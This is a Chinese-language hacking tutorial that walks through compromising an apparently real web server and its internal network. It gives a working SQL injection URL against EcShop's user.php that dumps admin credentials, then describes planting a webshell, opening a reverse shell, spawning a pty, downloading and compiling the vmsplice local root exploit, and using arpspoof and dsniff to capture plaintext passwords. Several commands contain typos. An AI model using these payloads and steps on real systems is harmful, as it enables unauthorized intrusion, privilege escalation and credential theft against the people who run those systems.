嘗試分析 linux 下滲透嗅探術(shù)
內(nèi)網(wǎng)滲透在攻擊層面,其實(shí)更趨向于社工和常規(guī)漏洞檢測(cè)的結(jié)合,為了了解網(wǎng)內(nèi)防護(hù)措施的設(shè)置是通過(guò)一步步的刺探和經(jīng)驗(yàn)積累,有時(shí)判斷出錯(cuò),也能進(jìn)入誤區(qū)。但是如果能在網(wǎng)內(nèi)進(jìn)行嗅探,則能事半功倍,處于一個(gè)對(duì)網(wǎng)內(nèi)設(shè)置完全透明的狀態(tài)。本文將從一個(gè)注點(diǎn)引發(fā)的突破,到控制整個(gè)內(nèi)網(wǎng)的全過(guò)程來(lái)跟大家討論,內(nèi)網(wǎng)的滲透嗅探術(shù)和安全防護(hù)一些內(nèi)容。
在尋找突破時(shí),更多的是從應(yīng)用服務(wù)來(lái),而應(yīng)用服務(wù)最直觀的信息采集,就是端口掃描,不同的應(yīng)用,開(kāi)放的服務(wù)不一樣。所以,在對(duì)網(wǎng)絡(luò)進(jìn)行信息收集時(shí),大概分為這樣兩步:
端口探測(cè),程序指紋分析。在端口探測(cè)方面,個(gè)人喜歡用SuperScan來(lái)快速對(duì)網(wǎng)段里的應(yīng)用進(jìn)行判斷
在掌握端口信息后,就要對(duì)服務(wù)應(yīng)用程序的指紋進(jìn)行分析,主要包括版本號(hào)、已知的漏洞信息、常規(guī)配置信息、針對(duì)此應(yīng)用流行的攻擊方法等。本文試著對(duì)網(wǎng)內(nèi)一臺(tái)提供WEB服務(wù)的主機(jī)作為突破口,提交一個(gè)畸形的請(qǐng)求。
從上圖可以讀取以下信息:
系統(tǒng)類型:Fedora
應(yīng)用程序:apache/2.2.4
以上只是很簡(jiǎn)單的手工對(duì)程序指紋進(jìn)行分析,當(dāng)然在針對(duì)web應(yīng)用的掃描器,還有很多,比較常用的wvs、appscan等。用輕量級(jí)的“wwwwscan來(lái)掃描:
由掃描的結(jié)果可以看到,與手工探測(cè)的結(jié)果是一致的。
通上面簡(jiǎn)單的信息收集后,可以了解到網(wǎng)站架構(gòu)是apache+mysql+php,直接請(qǐng)求URL:http://61.67.xx.116/htdocs/
發(fā)現(xiàn)此站是EcShop架構(gòu)的站點(diǎn),其使用的版本信息是V2.5.0。EcShop的版本是存在許多的注入點(diǎn)的。其中user.php文件有個(gè)注入漏洞,直接請(qǐng)求URL如下:
http://61.67.xx.116/htdocs/user.php?act=order_query&order_sn=’ union select 1,2,3,4,5,6,concat(user_name,0×7c,password,0×7c,email),8 from ecs_admin_user/*
獲取管理員帳號(hào)和密碼,ECShop使用的是MD5加密,直接解密。原來(lái)密碼是admin,有點(diǎn)意料之外。訪問(wèn)管理后臺(tái),修改模版處,插入一句木馬,即可得到WEBSEHLL
在獲取WEBshell權(quán)限后,就需要對(duì)系統(tǒng)進(jìn)行分析,查找Exp了。執(zhí)行命令如下:
#uname –a
返回的信息是“Linux fedora 2.6.20-1.2962.fc6 “,Linux內(nèi)核是2.6.20的。
在提權(quán)時(shí),要用到gcc進(jìn)行編譯,刺探一下系統(tǒng)有沒(méi)有安裝,執(zhí)行命令,
#gcc –help
發(fā)現(xiàn)可以運(yùn)行g(shù)cc,并且系統(tǒng)管理員沒(méi)對(duì)使用shell和gcc進(jìn)行限制,在也是個(gè)安全缺失。
在尋找本地提權(quán)利用程序時(shí),通常是根據(jù)系統(tǒng)版本來(lái)進(jìn)行,應(yīng)用程序的本地提權(quán)也是一樣的。在網(wǎng)上就有可供查詢的網(wǎng)站,比如http://www.milw0rm.com/網(wǎng)站
發(fā)現(xiàn)可利用的漏洞還真不少。
本地提權(quán)是需要個(gè)交互式的shell的。在本機(jī)監(jiān)聽(tīng)端口如下:
利用WebShell自帶的反彈功能直接連接本地的12345端口并返回shell
連接成功后,就能得到一個(gè)apache用戶的shell
,但有時(shí)如果不能交互時(shí),可以直接執(zhí)行,
# python –c ‘impotr pty;pty.spawn(/bin/sh);’
來(lái)得到交互的Shell,一般的系統(tǒng)都默認(rèn)安裝python
提示成功了,可以新建個(gè)目錄用來(lái)存放提權(quán)的工具。
在Linux提權(quán)大致可分為,第三方軟件漏洞、本地信任特性、內(nèi)核溢出等,比較常用的溢出率高的,當(dāng)屬內(nèi)核了。用Wget下載溢出源碼,用到的漏洞是Linux vmsplice Local Root Exploit,成功率蠻高的,gcc編譯,執(zhí)行。
成功獲取root權(quán)限,在選擇溢出利用程序時(shí),有時(shí)需要進(jìn)行多次測(cè)試。
什么是Sniffer,sniffer是利用截獲目的的計(jì)算機(jī)通信,通過(guò)分析截獲的數(shù)據(jù),提取敏感信息的工具。但其通過(guò)什么方法來(lái)截獲數(shù)據(jù)呢?在此之前得解釋一下arp(Address Rrsolution Protocol)協(xié)議,即地址解析協(xié)議,它位于TCP/IP協(xié)議棧中的低層協(xié)議,負(fù)責(zé)將某個(gè)IP地址解析成對(duì)應(yīng)的MAC地址。它靠維持在內(nèi)存中保存的一張表來(lái)使IP得以在網(wǎng)絡(luò)上被目標(biāo)機(jī)器應(yīng)答。在數(shù)據(jù)傳送時(shí),IP包里就有源IP地址、源MAC地址、目標(biāo)IP地址,如果在ARP表中有相對(duì)應(yīng)的MAC地點(diǎn),那么根據(jù)最優(yōu)選擇法,直接訪問(wèn),如果,沒(méi)有對(duì)應(yīng)的地址,就要廣播出去,在網(wǎng)內(nèi)尋找對(duì)應(yīng)的地址,如果對(duì)方的IP地址和發(fā)出的目標(biāo)IP地址相同,那么對(duì)方會(huì)發(fā)送MAC地址給源主機(jī),,而此時(shí),如果攻擊者也接聽(tīng)到發(fā)送的IP地址,它就會(huì)仿冒目標(biāo)主機(jī)的IP地址,然后返回自己的主機(jī)的MAC地址給源主機(jī),因?yàn)樵粗鳈C(jī)發(fā)送的IP包沒(méi)有包括目標(biāo)主機(jī)的MAC地址,而ARP表里面又沒(méi)有目標(biāo)IP和目標(biāo)MAC地址的對(duì)應(yīng)表,就會(huì)接受攻擊者的MAC而選擇與其通信,所以就此產(chǎn)生了ARP欺騙。在系統(tǒng)剛啟動(dòng)時(shí),可以在DOS下輸入命令“arp -a來(lái)查看本機(jī)arp緩存表的內(nèi)容。
我們來(lái)與IP192.168.0.5進(jìn)行通信,通信后arp緩存表就會(huì)有這樣一條MAC地址和IP對(duì)應(yīng)的記錄。
在本機(jī)多了條緩存中的IP和MAC的對(duì)應(yīng)紀(jì)錄。
Dsniff是一個(gè)著名的網(wǎng)絡(luò)嗅探工具包,其開(kāi)發(fā)者是Dug Song,其開(kāi)發(fā)的本意是用來(lái)揭示網(wǎng)絡(luò)通信的不安全性,方便網(wǎng)絡(luò)管理員對(duì)自己網(wǎng)絡(luò)的審計(jì),當(dāng)然也包括滲透測(cè)試,其安裝包里某此工具,充分揭示了協(xié)議的不安全性。作為一個(gè)工具集,Dsniff包括的工具大致分為四類:
一、
純粹被動(dòng)地進(jìn)行網(wǎng)絡(luò)活動(dòng)監(jiān)視的工具,包括:dsniff、filesnarf、mailsnaf、msgsnarf、urlsnarf、webspy
二、
針對(duì)SSH和SSL的MITM攻擊“工具,包括sshmitm和webmitm
三、
發(fā)起主動(dòng)欺騙的工具,包括:arpspoof、dnsspof、macof
四、
其它工具,包括tcpkill、tcpnice
Dsniff的官方下載:www.monkey.org/~dugsong/dsniff/ 這個(gè)是源碼包,解壓后可以看下README,提示需要五個(gè)軟件的支持:openssl、Berkeley_db、libnet、libpca、libnids
下載地址如下:
Berkeley_db: http://www.oracle.com/technology/software/products/berkeley-db/index.html
libpcap: http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz
linux/epel/5/i386/dsniff-2.4-0.3.b1.el5.i386.rpm">ftp://rpmfind.net/linux/epel/5/i386/dsniff-2.4-0.3.b1.el5.i386.rpm
ftp://rpmfind.net/linux/epel/5/i386/libnet-1.1.4-1.el5.i386.rpm
ftp://rpmfind.net/linux/epel/5/i386/libnids-1.23-1.el5.i386.rpm
系統(tǒng)一般默認(rèn)都有安裝openssl、libpcap。
一、 Tar包安裝
如果下載的是源包,文件如下:openssl-0.9.7i.tar.gz、libnids-1.18.tar.gz、libpcap-0.7.2.tar.gz、libnet-1.0.2a.tar.gz、Berkeley db-4.7.25.tar.gz
a) 安裝openssl
用tar解壓軟件包手,執(zhí)行三條命令
#./config
#make
#make install
b) 安裝libpcap
#./config
#make
#make install
c) 安裝libnet
#./config
#make
#make install
d) 安裝libnids
#./config
#make
#make install
e) 安裝libnids
#./config
#make
#make install
f) 安裝Berkeley DB
#.cd build_unix
#../dist/configure
#make
#make install
g) 安裝dsniff
#./configure
#make
#make install
程序安裝好后,先查看一下網(wǎng)卡信息,然后開(kāi)啟服務(wù)器IP轉(zhuǎn)發(fā),命令如下:
# echo “1″ > /proc/sys/net/ipv4/ip_forward
先來(lái)雙向欺騙,用到arpspoof,其命令是:
#arp –t 網(wǎng)關(guān)
欺騙主機(jī)IP
arpspoof已經(jīng)開(kāi)始工作了,可以用tcpdump查看一下被攻擊主機(jī)是否有數(shù)據(jù)經(jīng)過(guò)
命令如下:
#tcpdump –I eth0 host 61.67.x.115
有數(shù)據(jù)交換,說(shuō)明欺騙的比較成功,然后用Dsniff開(kāi)始嗅探目標(biāo)主機(jī),命令如下。
#Dsniff –c –f /etc/dsniff/dsniff.services
這個(gè)dsniff.services自然就是保存端口和服務(wù)對(duì)應(yīng)關(guān)系的文件,如需要保存到文件,需加-w filename數(shù)據(jù)全是明文傳送的。所以數(shù)據(jù)分析完全能用肉眼發(fā)現(xiàn)。
從這條數(shù)據(jù)可以看到HTTP登錄和FTP登錄信息,帳號(hào)和密碼全是明文的。而經(jīng)過(guò)測(cè)試,通過(guò)FTP上傳的目錄正是WEB目錄,獲取WEBShell權(quán)限,繼續(xù)提權(quán)即可控制主機(jī)。Linux下的嗅探,其實(shí)更容易一些,在最近爆出的高危本地提權(quán),不知道有多少臺(tái)主機(jī)淪陷呢?在攻與防的游戲里,系統(tǒng)管理員往往顯得如此的無(wú)助。
相關(guān)文章:
1. 如何解決Linux下Too many open files問(wèn)題2. Xmanager怎么顯示遠(yuǎn)程linux程序的圖像3. Linux下怎么安裝自己想要的jdk4. Linux Mint系統(tǒng)怎么卸載程序? Linux卸載不需要應(yīng)用的技巧5. 解決Linuxmint-18.2字體顯示不清晰的方法6. Linux Mint系統(tǒng)輸入法怎么刪除? Linux Mint刪除多余輸入法的技巧7. Linux Samba服務(wù)器超詳細(xì)安裝配置(附問(wèn)題解決)8. linux服務(wù)器快速卸載安裝node環(huán)境(簡(jiǎn)單上手)9. Linux怎么設(shè)置中文語(yǔ)言? centos中文亂碼的解決辦法10. Linux find命名快速查找中毒文件的方法教程
